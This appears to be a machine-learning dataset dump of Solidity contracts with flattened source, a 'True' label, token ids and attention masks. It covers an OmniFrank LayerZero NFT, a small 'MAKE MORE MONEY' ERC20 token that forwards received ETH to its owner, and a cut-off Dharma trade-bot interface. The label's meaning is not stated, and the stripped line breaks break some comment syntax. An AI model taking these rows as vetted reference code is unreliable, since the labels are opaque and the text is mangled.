tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/NonblockingReceiver.sol pragma solidity ^0.8.6; abstract contract NonblockingReceiver is Ownable, ILayerZeroReceiver { ILayerZeroEndpoint internal endpoint; struct FailedMessages { uint payloadLength; bytes32 payloadHash; } mapping(uint16 => mapping(bytes => mapping(uint => FailedMessages))) public failedMessages; mapping(uint16 => bytes) public trustedRemoteLookup; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload); function lzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) external override { require(msg.sender == address(endpoint)); // boilerplate! lzReceive must be called by the endpoint for security require(_srcAddress.length == trustedRemoteLookup[_srcChainId].length && keccak256(_srcAddress) == keccak256(trustedRemoteLookup[_srcChainId]), "NonblockingReceiver: invalid source sending contract"); // try-catch all errors/exceptions // having failed messages does not block messages passing try this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload) { // do nothing } catch { // error / exception failedMessages[_srcChainId][_srcAddress][_nonce] = FailedMessages(_payload.length, keccak256(_payload)); emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload); } } function onLzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) public { // only internal transaction require(msg.sender == address(this), "NonblockingReceiver: caller must be Bridge."); // handle incoming message _LzReceive( _srcChainId, _srcAddress, _nonce, _payload); } // abstract function function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) virtual internal; function _lzSend(uint16 _dstChainId, bytes memory _payload, address payable _refundAddress, address _zroPaymentAddress, bytes memory _txParam) internal { endpoint.send{value: msg.value}(_dstChainId, trustedRemoteLookup[_dstChainId], _payload, _refundAddress, _zroPaymentAddress, _txParam); } function retryMessage(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes calldata _payload) external payable { // assert there is message to retry FailedMessages storage failedMsg = failedMessages[_srcChainId][_srcAddress][_nonce]; require(failedMsg.payloadHash != bytes32(0), "NonblockingReceiver: no stored message"); require(_payload.length == failedMsg.payloadLength && keccak256(_payload) == failedMsg.payloadHash, "LayerZero: invalid payload"); // clear the stored message failedMsg.payloadLength = 0; failedMsg.payloadHash = bytes32(0); // execute the message. revert if it fails again this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload); } function setTrustedRemote(uint16 _chainId, bytes calldata _trustedRemote) external onlyOwner { trustedRemoteLookup[_chainId] = _trustedRemote; } } // File: contracts/OmniFrank.sol pragma solidity ^0.8.7; contract OmniFrank is Ownable, ERC721, NonblockingReceiver { address public _owner; string private baseURI; uint256 nextTokenId = 0; uint256 MAX_MINT_ETHEREUM = 1000; bool public isRevealed = false; uint gasForDestinationLzReceive = 350000; constructor(string memory baseURI_, address _layerZeroEndpoint) ERC721("OmniFrank", "OF") { _owner = msg.sender; endpoint = ILayerZeroEndpoint(_layerZeroEndpoint); baseURI = baseURI_; } // mint function // you can choose to mint 1 or 2 // mint is free, but payments are accepted function mint(uint8 numTokens) external payable { require(numTokens < 3, "OF: Max 2 NFTs per transaction"); require(nextTokenId + numTokens <= MAX_MINT_ETHEREUM, "OF: Mint exceeds supply"); _safeMint(msg.sender, ++nextTokenId); if (numTokens == 2) { _safeMint(msg.sender, ++nextTokenId); } } // This function transfers the nft from your address on the // source chain to the same address on the destination chain function traverseChains(uint16 _chainId, uint tokenId) public payable { require(msg.sender == ownerOf(tokenId), "You must own the token to traverse"); require(trustedRemoteLookup[_chainId].length > 0, "This chain is currently unavailable for travel"); // burn NFT, eliminating it from circulation on src chain _burn(tokenId); // abi.encode() the payload with the values to send bytes memory payload = abi.encode(msg.sender, tokenId); // encode adapterParams to specify more gas for the destination uint16 version = 1; bytes memory adapterParams = abi.encodePacked(version, gasForDestinationLzReceive); // get the fees we need to pay to LayerZero + Relayer to cover message delivery // you will be refunded for extra gas paid (uint messageFee, ) = endpoint.estimateFees(_chainId, address(this), payload, false, adapterParams); require(msg.value >= messageFee, "OF: msg.value not enough to cover messageFee. Send gas for message fees"); endpoint.send{value: msg.value}( _chainId, // destination chainId trustedRemoteLookup[_chainId], // destination address of nft contract payload, // abi.encoded()'ed bytes payable(msg.sender), // refund address address(0x0), // 'zroPaymentAddress' unused for this adapterParams // txParameters ); } function setBaseURI(string memory URI) external onlyOwner { baseURI = URI; } function doReveal(bool is_revealed, string memory URI) external onlyOwner { isRevealed = is_revealed; baseURI = URI; } function donate() external payable { // thank you } // This allows the devs to receive kind donations function withdraw(uint amt) external onlyOwner { (bool sent, ) = payable(_owner).call{value: amt}(""); require(sent, "OF: Failed to withdraw Ether"); } // just in case this fixed variable limits us from future integrations function setGasForDestinationLzReceive(uint newVal) external onlyOwner { gasForDestinationLzReceive = newVal; } // ------------------ // Internal Functions // ------------------ function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) override internal { // decode (address toAddr, uint tokenId) = abi.decode(_payload, (address, uint)); // mint the tokens back into existence on destination chain _safeMint(toAddr, tokenId); } function _baseURI() override internal view returns (string memory) { return baseURI; } using Strings for uint256; /* * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (!isRevealed) { return _baseURI(); } string memory bbaseURI = _baseURI(); return bytes(bbaseURI).length > 0 ? string(abi.encodePacked(bbaseURI, tokenId.toString())) : ""; } }	True	[ 101, 1013, 1013, 5371, 1024, 8311, 1013, 19706, 1013, 6335, 4710, 2121, 6290, 15441, 2527, 9397, 19341, 3508, 8663, 8873, 2290, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 6335, 4710, 2121, 6290, 15441, 2527, 9397, 19341, 3508, 8663, 8873, 2290, 1063, 1013, 1013, 1030, 5060, 2275, 1996, 9563, 1997, 1996, 6741, 6290, 2080, 24732, 3075, 1997, 1996, 9675, 2544, 1013, 1013, 1030, 11498, 2213, 1035, 2544, 1011, 24732, 3075, 2544, 1013, 1013, 1030, 11498, 2213, 1035, 4677, 3593, 1011, 1996, 4677, 3593, 2005, 1996, 14223, 9530, 8873, 2290, 2689, 1013, 1013, 1030, 11498, 2213, 1035, 9530, 8873, 13512, 18863, 1011, 2828, 1997, 9563, 1012, 2296, 24732, 3075, 2038, 2049, 2219, 4680, 1012, 1013, 1013, 1030, 11498, 2213, 1035, 9530, 8873, 2290, 1011, 9563, 1999, 1996, 27507, 1012, 2064, 4372, 16044, 15275, 4180, 1012, 3853, 2275, 8663, 8873, 2290, 1006, 21318, 3372, 16048, 1035, 2544, 1010, 21318, 3372, 16048, 1035, 4677, 3593, 1010, 21318, 3372, 1035, 9530, 8873, 13512, 18863, 1010, 27507, 2655, 2850, 2696, 1035, 9530, 8873, 2290, 1007, 6327, 1025, 1013, 1013, 1030, 5060, 2275, 1996, 4604, 1006, 1007, 6741, 6290, 2080, 24732, 3075, 2544, 2000, 1035, 2544, 1013, 1013, 1030, 11498, 2213, 1035, 2544, 1011, 2047, 24732, 3075, 2544, 3853, 4520, 10497, 27774, 1006, 21318, 3372, 16048, 1035, 2544, 1007, 6327, 1025, 1013, 1013, 1030, 5060, 2275, 1996, 1048, 2480, 2890, 3401, 3512, 1006, 1007, 6741, 6290, 2080, 24732, 3075, 2544, 2000, 1035, 2544, 1013, 1013, 1030, 11498, 2213, 1035, 2544, 1011, 2047, 24732, 3075, 2544, 3853, 2275, 2890, 3401, 3512, 27774, 1006, 21318, 3372, 16048, 1035, 2544, 1007, 6327, 1025, 1013, 1013, 1030, 5060, 2069, 2043, 1996, 25423, 3791, 2000, 13746, 1996, 4471, 4834, 1999, 10851, 5549, 1998, 3154, 1996, 8250, 18093, 1013, 1013, 1030, 11498, 2213, 1035, 5034, 9468, 10932, 3490, 2094, 1011, 1996, 4677, 3593, 1997, 1996, 3120, 4677, 1013, 1013, 1030, 11498, 2213, 1035, 5034, 3540, 14141, 8303, 1011, 1996, 3206, 4769, 1997, 1996, 3120, 3206, 2012, 1996, 3120, 4677, 3853, 2486, 6072, 17897, 2890, 3401, 3512, 1006, 21318, 3372, 16048, 1035, 5034, 9468, 10932, 3490, 2094, 1010, 27507, 2655, 2850, 2696, 1035, 5034, 3540, 14141, 8303, 1007, 6327, 1025, 1065, 1013, 1013, 5371, 1024, 8311, 1013, 19706, 1013, 6335, 4710, 2121, 6290, 8913, 4859, 8400, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 6335, 4710, 2121, 6290, 8913, 4859, 8400, 2003, 6335, 4710, 2121, 6290, 15441, 2527, 9397, 19341, 3508, 8663, 8873, 2290, 1063, 1013, 1013, 1030, 5060, 4604, 1037, 6741, 6290, 2080, 4471, 2000, 1996, 9675, 4769, 2012, 1037, 6741, 6290, 2080, 2203, 8400, 1012, 1013, 1013, 1030, 11498, 2213, 1035, 16233, 10649, 8113, 3593, 1011, 1996, 7688, 4677, 8909, 4765, 18095, 1013, 1013, 1030, 11498, 2213, 1035, 7688, 1011, 1996, 4769, 2006, 7688, 4677, 1006, 1999, 27507, 1007, 1012, 4769, 3091, 1013, 4289, 2089, 8137, 2011, 8859, 1013, 1013, 1030, 11498, 2213, 1035, 18093, 1011, 1037, 7661, 27507, 18093, 2000, 4604, 2000, 1996, 7688, 3206, 1013, 1013, 1030, 11498, 2213, 1035, 25416, 18426, 14141, 8303, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2020-11-29 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.6; contract Owned { modifier onlyOwner() { require(msg.sender==owner); _; } address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender==newOwner) { owner = newOwner; } } } abstract contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) view public virtual returns (uint256 balance); function transfer(address _to, uint256 _value) public virtual returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success); function approve(address _spender, uint256 _value) public virtual returns (bool success); function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract make_more_money is Token{ constructor() public{ symbol = "M3 C"; name = "MAKE MORE MONEY"; decimals = 18; totalSupply = 50000000000000000000000; owner = msg.sender; balances[owner] = totalSupply; } receive () payable external { require(msg.value>0); owner.transfer(msg.value); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 2756, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 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pragma solidity 0.6.12; // optimization runs: 200, evm version: istanbul pragma experimental ABIEncoderV2; interface DharmaTradeBotV1Interface { event LimitOrderProcessed( address indexed account, address indexed suppliedAsset, // Ether = address(0) address indexed receivedAsset, // Ether = address(0) uint256 suppliedAmount, uint256 receivedAmount, bytes32 orderID ); event LimitOrderCancelled(bytes32 orderID); event RoleModified(Role indexed role, address account); event RolePaused(Role indexed role); event RoleUnpaused(Role indexed role); enum Role { BOT_COMMANDER, CANCELLER, PAUSER } struct RoleStatus { address account; bool paused; } struct LimitOrderArguments { address account; address assetToSupply; // Ether = address(0) address assetToReceive; // Ether = address(0) uint256 maximumAmountToSupply; uint256 maximumPriceToAccept; // represented as a mantissa (n * 10^18) uint256 expiration; bytes32 salt; } struct LimitOrderExecutionArguments { uint256 amountToSupply; // will be lower than maximum for partial fills bytes signatures; address tradeTarget; bytes tradeData; } function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived); function cancelLimitOrder(LimitOrderArguments calldata args) external; function setRole(Role role, address account) external; function removeRole(Role role) external; function pause(Role role) external; function unpause(Role role) external; function isPaused(Role role) external view returns (bool paused); function isRole(Role role) external view returns (bool hasRole); function getOrderID( LimitOrderArguments calldata args ) external view returns (bytes32 orderID, bool valid); function getBotCommander() external view returns (address botCommander); function getCanceller() external view returns (address canceller); function getPauser() external view returns (address pauser); } interface SupportingContractInterface { function setApproval(address token, uint256 amount) external; } interface ERC1271Interface { function isValidSignature( bytes calldata data, bytes calldata signatures ) external view returns (bytes4 magicValue); } interface ERC20Interface { function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function approve(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } /** * @notice Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access * to specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. * * In order to transfer ownership, a recipient must be specified, at which point * the specified recipient can call `acceptOwnership` and take ownership. / contract TwoStepOwnable { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address private _owner; address private _newPotentialOwner; /* * @notice Initialize contract with transaction submitter as initial owner. / constructor() internal { _owner = tx.origin; emit OwnershipTransferred(address(0), _owner); } /* * @notice Allows a new account (`newOwner`) to accept ownership. * Can only be called by the current owner. / function transferOwnership(address newOwner) external onlyOwner { require( 